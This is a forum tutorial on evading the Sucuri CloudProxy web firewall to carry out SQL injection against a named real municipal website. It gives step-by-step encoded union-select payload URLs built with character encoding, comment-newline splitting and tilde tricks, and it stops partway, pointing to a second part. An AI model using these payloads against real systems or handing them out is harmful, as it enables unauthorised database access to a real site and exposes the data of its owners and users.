Hi EveryBody How are you Hope you all good ^__^

my new leasen 'How To Bypass WAF CloudProxy' I hope you can understand it easily and loved



The Sucuri Firewall is an innovative cloud-based Website Application Firewall (WAF) and Intrusion Prevention System (IPS) for protecting websites. ... Sucuri's approach to mitigating network-based attacks includes investing in resources across all Points of Presence (PoP).



As Sucuri WAF is a proxy between you and the Web server , let's see how to bypassing that Firewall easily and make you directly connected with the Web server and do sex easy sorry I mean and do inject easy .

# Our Target Is #

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=45 


the site is SQL Injection Strings Based and by using Order By 20 we get Unknown column '20' in 'order clause' so we have 19's column Let us use it quickly .

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=.45'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23 


as we see the waf CloudProxy [the Access Denied - Sucuri Website Firewall] blocked our query

notice : The easiest way to inject this site is here with the post injection or by get the real IP to the target .



as you see easy right ^__^ ok I don't need to inject this site with The easiest way , but I will get it with the hard method and Fuked the waf CloudProxy , let's do it with GET inject .

First we must know the Sucuri waf that Prevents from work many thing like

Dot >> .
Space >> id=1 union
Number >> 1,2,3
Comma >> , '
Bracket symbol .Curves >> ()

That's not all but let's Encoding the first part of our query to bypassing the Sucuri waf here



# we have here some point to Encoding & bypassing #

1- the dot . the Encoding will be like %2E
2-the comma ' the Encoding will be like %27
3-the space the Encoding will be like %20
4-the and 0 with union the bypassing will be like and .0union
5-the select the bypassing will be by encode Letter c like SeLe%43t
6-the combine use of union and select the bypassing will be by adding --%0a between union and select words as UnIOn-- -%0ASeLect ,and the --%0a means comment and new line

The final product will be as follows

PHP Code


<?php 
id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t 


let's see if this methosd of bypassing will allow with the Sucuri waf or not

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t 


well done the Sucuri waf bypassing is good , Let's move on to the second part of our solution of WAF CloudProxy

as we see the bypassing done in part of union select, now let's try to bypassing part two of our qurey the column number as I say befor the Sucuri waf block column number , let'do that's by adding column number one by one too see Where is the problem at every point .

A- adding column number one

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t 1 


the query blocked by the Sucuri waf and to bypassing column number from this waf we will using symbol ~ By placing it before the column number one like ~1

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1 


The waf fell as I expected ok now let's add comma after column number one as 1, and see what will happen from Sucuri waf

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1, 


no thing happen I am very impressed by this

let's add column number two to our query and continue

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2 


no thing happen here too let's add the comma like 2,

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2, 


Finally happened the Sucuri waf Work and blockd the comma

to bypassing comma we will use Encoding like this %2C

PHP Code


<?php 
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2%2C 


Leasen will stop here Sorry the forum does not allow all this number of information

Part Two From Here
